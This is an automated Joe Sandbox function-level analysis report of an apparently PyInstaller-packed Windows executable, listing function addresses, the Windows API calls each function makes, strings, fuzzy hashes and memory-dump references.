Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 1c4273fb4a414bd16749861b25ace672462e960675883ae7dbf138385109c950
Instruction ID: 71b7341e872857e837700a200d64cfe775ea603b681a6c97d05e0d0b5d33e6f4
Opcode Fuzzy Hash: 1c4273fb4a414bd16749861b25ace672462e960675883ae7dbf138385109c950
Instruction Fuzzy Hash: ED21A411B1C6C241EFB877A194902F9A2829F84790FD84375E93E4B7D2CE6CE44583F0

Function 00007FF7FF59BF1C Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF59BF44

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 83fd655adac635c1bfef66338e564e5d3c087748e58eff1a34e14c1f5e77bb28
Instruction ID: 86453121177c381cf5bc730092f354509d3598680ca3531b394511a52951a636
Opcode Fuzzy Hash: 83fd655adac635c1bfef66338e564e5d3c087748e58eff1a34e14c1f5e77bb28
Instruction Fuzzy Hash: CD41D73290868687FB38AB16A5442BDB7A4EB55B44F901331D6BE436D1CF2DE502CBF1

Function 00007FF7FF587F80 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF7FF58802A

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: 0fb7cb8cbc48f9e917e8c39a654de37bb9aab67e22ead0d73b96efd71e61a230
Instruction ID: 0ef530b5c66d8333b0de49c4743448113597bf5d41f0ae2a2c35713b507af1c4
Opcode Fuzzy Hash: 0fb7cb8cbc48f9e917e8c39a654de37bb9aab67e22ead0d73b96efd71e61a230
Instruction Fuzzy Hash: B7219E21B486D285EB64BA2269043FAEA51FF45BD4FC85530EE3D0B7C6CE3DE045C6A4

Function 00007FF7FF59B9AC Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF59BA32

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2d5c35b5412ec9e3d722ee101ab37b91f6ea8aa9dcca92d1d4e84e7f868c2b8f
Instruction ID: 4db6ddd0342bbc456bf5ac2bef59305e82959790f2699d77c2fcfc09f1e02d68
Opcode Fuzzy Hash: 2d5c35b5412ec9e3d722ee101ab37b91f6ea8aa9dcca92d1d4e84e7f868c2b8f
Instruction Fuzzy Hash: FC319C31A186C695F7697B5588813FCA660AB40B94FC64335E93D033E2CFBCE94187B0

Function 00007FF7FF5999D1 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF7FF5999FF

Part of subcall function 00007FF7FF599AF8: GetModuleHandleExW.KERNEL32 ref: 00007FF7FF599B1D
Part of subcall function 00007FF7FF599AF8: GetProcAddress.KERNEL32 ref: 00007FF7FF599B33
Part of subcall function 00007FF7FF599AF8: FreeLibrary.KERNEL32 ref: 00007FF7FF599B5A

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: c67799cafce48778543f3f8f4be5d8193b6380671b5390c3378b203fc6564281
Instruction ID: 77e3f25fc3631df90c6934c1dd0cc6b5953e21149806ae3f2f42af8d86b9aa42
Opcode Fuzzy Hash: c67799cafce48778543f3f8f4be5d8193b6380671b5390c3378b203fc6564281
Instruction Fuzzy Hash: 23218E72A057828AEB28AF64C4442EC77A5FB44718F841739D63D07AD5DF38D984C7A0

Function 00007FF7FF596004 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF595F69

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction ID: ea438a866be39f56569a56d08e4e1f71a6e21f40d625983e6fb0b0e994b4ef63
Opcode Fuzzy Hash: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction Fuzzy Hash: 81113062A1868241EB78BF5194002FEE2A4AF45F90FC44231EB7C57AD6DF3DD45187E1

Function 00007FF7FF5A63C4 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5A63E7

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3ea3ce3b0d542221f39e0ec21b1c29adddc4a64aa4be1ebee55588f6cedcbaa9
Instruction ID: ccb0a3abd6f52daee80d05edc2e95a7ced09e41fb20fb9d32e20ce6d93c1a481
Opcode Fuzzy Hash: 3ea3ce3b0d542221f39e0ec21b1c29adddc4a64aa4be1ebee55588f6cedcbaa9
Instruction Fuzzy Hash: 9221D772608AC286D760AF18D4803B9B6A0FB84F54F944335E6BE876D5DF3CD4118B50

Function 00007FF7FF59042C Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF590480

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction ID: 500166a5650fe92580b8071ade264c7eb2e3d94f3392d6ef0fedb682d5cb0fdf
Opcode Fuzzy Hash: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction Fuzzy Hash: 1401A521A08B8141EB28EF6259010A9E695BF86FE0F884B31DE7C57BD6CE3CE4114350

Function 00007FF7FF589070 Relevance: 1.5, APIs: 1, Instructions: 19libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7FF589400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7FF5845E4,00000000,00007FF7FF581985), ref: 00007FF7FF589439

LoadLibraryExW.KERNELBASE(?,00007FF7FF586466,?,00007FF7FF58336E), ref: 00007FF7FF589092

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: ByteCharLibraryLoadMultiWide
String ID:
API String ID: 2592636585-0
Opcode ID: 6c0d9462715ca9992f6b4afaad31bbb453c28a5b2bab261bfd845826f23efb25
Instruction ID: bebaf3bd2d1175ab02408188de200d3c04f01f21058f7f6fcd0080b1798c4333
Opcode Fuzzy Hash: 6c0d9462715ca9992f6b4afaad31bbb453c28a5b2bab261bfd845826f23efb25
Instruction Fuzzy Hash: 0AD08611B2458541EB54B767754656591516B89BC4F88C035EE2D03796DC3CC0518740

Function 00007FF7FF59EC08 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,00000000,00007FF7FF59B39A,?,?,?,00007FF7FF594F81,?,?,?,?,00007FF7FF59A4FA), ref: 00007FF7FF59EC5D

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 359dceec71bad03d682dc04f56d48d79ef81111e86adbc932549883800f831e6
Instruction ID: bc63c55734354548e9b20758ae9cd3b2f3c568a5651042b0f17778a62dbb5afa
Opcode Fuzzy Hash: 359dceec71bad03d682dc04f56d48d79ef81111e86adbc932549883800f831e6
Instruction Fuzzy Hash: ECF0F954B0A69792FF6C7A6298E12F5D2909F85B80FCC5630C97E873D1EE1DE49182B0

Function 00007FF7FF59D66C Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF7FF590D00,?,?,?,00007FF7FF59236A,?,?,?,?,?,00007FF7FF593B59), ref: 00007FF7FF59D6AA

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 5ab6faa5eb5c52a79f6ef15f458d67d4847db3a002ac7bba2a3205d093894568
Instruction ID: 2873f2212832c7c6d3179c13600a18cdd484f53727a6a91f3405df183929c501
Opcode Fuzzy Hash: 5ab6faa5eb5c52a79f6ef15f458d67d4847db3a002ac7bba2a3205d093894568
Instruction Fuzzy Hash: 67F03415E0D28645FF787A7198516F992904F95BA0F884330997E873D2EE2CA48082B0

Non-executed Functions

Function 00007FF7FF588BD0 Relevance: 70.3, APIs: 36, Strings: 4, Instructions: 257synchronizationwindowregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7FF589400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7FF5845E4,00000000,00007FF7FF581985), ref: 00007FF7FF589439

SetConsoleCtrlHandler.KERNEL32(?,?,FFFFFFFF,00007FF7FF583F7F), ref: 00007FF7FF588C2B
GetStartupInfoW.KERNEL32(?,FFFFFFFF,00007FF7FF583F7F), ref: 00007FF7FF588C46

Part of subcall function 00007FF7FF59A4EC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF59A500

Part of subcall function 00007FF7FF59878C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5987F3

GetCommandLineW.KERNEL32(?,FFFFFFFF,00007FF7FF583F7F), ref: 00007FF7FF588CD6
CreateProcessW.KERNEL32 ref: 00007FF7FF588D0E
GetLastError.KERNEL32(?,FFFFFFFF,00007FF7FF583F7F), ref: 00007FF7FF588D18

Part of subcall function 00007FF7FF582C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF7FF583706,?,00007FF7FF583804), ref: 00007FF7FF582C9E
Part of subcall function 00007FF7FF582C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF7FF583706,?,00007FF7FF583804), ref: 00007FF7FF582D63
Part of subcall function 00007FF7FF582C50: MessageBoxW.USER32 ref: 00007FF7FF582D99

RegisterClassW.USER32 ref: 00007FF7FF588D70
GetLastError.KERNEL32(?,FFFFFFFF,00007FF7FF583F7F), ref: 00007FF7FF588D7B
CreateWindowExW.USER32 ref: 00007FF7FF588DC5
GetLastError.KERNEL32(?,FFFFFFFF,00007FF7FF583F7F), ref: 00007FF7FF588DD7
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF7FF583F7F), ref: 00007FF7FF588DF2
GetLastError.KERNEL32(?,FFFFFFFF,00007FF7FF583F7F), ref: 00007FF7FF588E05
PeekMessageW.USER32 ref: 00007FF7FF588E29
TranslateMessage.USER32 ref: 00007FF7FF588E37
DispatchMessageW.USER32(?,FFFFFFFF,00007FF7FF583F7F), ref: 00007FF7FF588E41
PeekMessageW.USER32 ref: 00007FF7FF588E5C
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF7FF583F7F), ref: 00007FF7FF588E6E
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF7FF583F7F), ref: 00007FF7FF588E89
TerminateProcess.KERNEL32(?,FFFFFFFF,00007FF7FF583F7F), ref: 00007FF7FF588E9F
GetLastError.KERNEL32(?,FFFFFFFF,00007FF7FF583F7F), ref: 00007FF7FF588EA9
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF7FF583F7F), ref: 00007FF7FF588EB7
DestroyWindow.USER32(?,FFFFFFFF,00007FF7FF583F7F), ref: 00007FF7FF588FF4
GetExitCodeProcess.KERNEL32 ref: 00007FF7FF589009
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF7FF583F7F), ref: 00007FF7FF589012
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF7FF583F7F), ref: 00007FF7FF58901F

Strings

PyInstallerOnefileHiddenWindow, xrefs: 00007FF7FF588D44
CreateProcessW, xrefs: 00007FF7FF588D27
PyInstaller Onefile Hidden Window, xrefs: 00007FF7FF588D85
Failed to create child process!, xrefs: 00007FF7FF588D20

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: Message$ErrorLast$ObjectProcessSingleWait$CloseCreateHandlePeekWindow_invalid_parameter_noinfo$ByteCharClassCodeCommandConsoleCtrlCurrentDestroyDispatchExitFormatHandlerInfoLineMultiRegisterStartupTerminateTranslateWide
String ID: CreateProcessW$Failed to create child process!$PyInstaller Onefile Hidden Window$PyInstallerOnefileHiddenWindow
API String ID: 3832162212-3165540532
Opcode ID: f1b4a1f9842ac9cce6b2798ee34386867a7882a0850fd65476f94626d3f01840
Instruction ID: bb1e8f7c11fd39835bd5c9ebc188d4382c84938100bf41fe2b99b186b4af867f
Opcode Fuzzy Hash: f1b4a1f9842ac9cce6b2798ee34386867a7882a0850fd65476f94626d3f01840
Instruction Fuzzy Hash: 98D15D32A09AC296EB10AF74E8542E9B760FB84B58F800335DA7D47AE4DF3CD555C7A0

Function 00007FFBBB63A96C Relevance: 13.6, APIs: 9, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FFBBB63A988
memset.VCRUNTIME140 ref: 00007FFBBB63A9AC
RtlCaptureContext.KERNEL32 ref: 00007FFBBB63A9B5
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFBBB63A9CF
RtlVirtualUnwind.KERNEL32 ref: 00007FFBBB63AA10
memset.VCRUNTIME140 ref: 00007FFBBB63AA43
IsDebuggerPresent.KERNEL32 ref: 00007FFBBB63AA64
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFBBB63AA81
UnhandledExceptionFilter.KERNEL32 ref: 00007FFBBB63AA8C

Memory Dump Source

Source File: 00000002.00000002.1507696476.00007FFBBB631000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFBBB630000, based on PE: true

Associated: 00000002.00000002.1507671623.00007FFBBB630000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507721671.00007FFBBB63D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507748441.00007FFBBB641000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507768534.00007FFBBB642000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb630000_YgJ5inWPQO.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: 66b512622c9808b6d5bb10331fb7d468776e2acf9cac37bd1f86af3ecdb5c734
Instruction ID: 488721c52d54d7ee72d0ce80e8175655d7cf59b8ca2ca345961c6a46ed99898c
Opcode Fuzzy Hash: 66b512622c9808b6d5bb10331fb7d468776e2acf9cac37bd1f86af3ecdb5c734
Instruction Fuzzy Hash: EB311BB7608B8186EB609F68E8903EDB361FB84744F44803ADB4E57BA4DF38D949C714

Function 00007FFBBB6137D0 Relevance: 13.6, APIs: 9, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FFBBB6137EC
memset.VCRUNTIME140 ref: 00007FFBBB613810
RtlCaptureContext.KERNEL32 ref: 00007FFBBB613819
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFBBB613833
RtlVirtualUnwind.KERNEL32 ref: 00007FFBBB613874
memset.VCRUNTIME140 ref: 00007FFBBB6138A7
IsDebuggerPresent.KERNEL32 ref: 00007FFBBB6138C8
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFBBB6138E5
UnhandledExceptionFilter.KERNEL32 ref: 00007FFBBB6138F0

Memory Dump Source

Source File: 00000002.00000002.1507537143.00007FFBBB601000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFBBB600000, based on PE: true

Associated: 00000002.00000002.1507511842.00007FFBBB600000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB617000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB61B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507625049.00007FFBBB622000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507647689.00007FFBBB623000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb600000_YgJ5inWPQO.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: ea9c6d9dc5ab45d36038557af9431a61bb458cf3d39685e5c3059e6e3831df78
Instruction ID: 08af2a71f199c7c3cf21974584f77c586001721da855c4976f4fe6424ad942a3
Opcode Fuzzy Hash: ea9c6d9dc5ab45d36038557af9431a61bb458cf3d39685e5c3059e6e3831df78
Instruction Fuzzy Hash: 6C3128B6608B8196EB648F64E8407A9B364FB84744F44943ADB4F47BA4DF38DA48C718

Function 00007FF7FF5883B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,00007FF7FF588B09,00007FF7FF583FA5), ref: 00007FF7FF58841B
RemoveDirectoryW.KERNEL32(?,00007FF7FF588B09,00007FF7FF583FA5), ref: 00007FF7FF58849E
DeleteFileW.KERNEL32(?,00007FF7FF588B09,00007FF7FF583FA5), ref: 00007FF7FF5884BD
FindNextFileW.KERNEL32(?,00007FF7FF588B09,00007FF7FF583FA5), ref: 00007FF7FF5884CB
FindClose.KERNEL32(?,00007FF7FF588B09,00007FF7FF583FA5), ref: 00007FF7FF5884DC
RemoveDirectoryW.KERNEL32(?,00007FF7FF588B09,00007FF7FF583FA5), ref: 00007FF7FF5884E5

Strings

%s\*, xrefs: 00007FF7FF5883E2

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
String ID: %s\*
API String ID: 1057558799-766152087
Opcode ID: 754801c57d3e7d892bd8d831a0c0450fb277ac1fd7854ad2b3e1f46bb6674256
Instruction ID: 1f4735558c2cc05e2b2cae2f858f605ce02fb16e1e08164ffce82021d2475a73
Opcode Fuzzy Hash: 754801c57d3e7d892bd8d831a0c0450fb277ac1fd7854ad2b3e1f46bb6674256
Instruction Fuzzy Hash: C6416222A0DAC295EB20BB24E4445F9A360FB94759FC00332D57D476E4DF3CD54AC7A4

Function 00007FF7FF58D19C Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF7FF58D1B8
RtlCaptureContext.KERNEL32 ref: 00007FF7FF58D1E5
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7FF58D1FF
RtlVirtualUnwind.KERNEL32 ref: 00007FF7FF58D240
IsDebuggerPresent.KERNEL32 ref: 00007FF7FF58D294
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7FF58D2B1
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7FF58D2BC

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
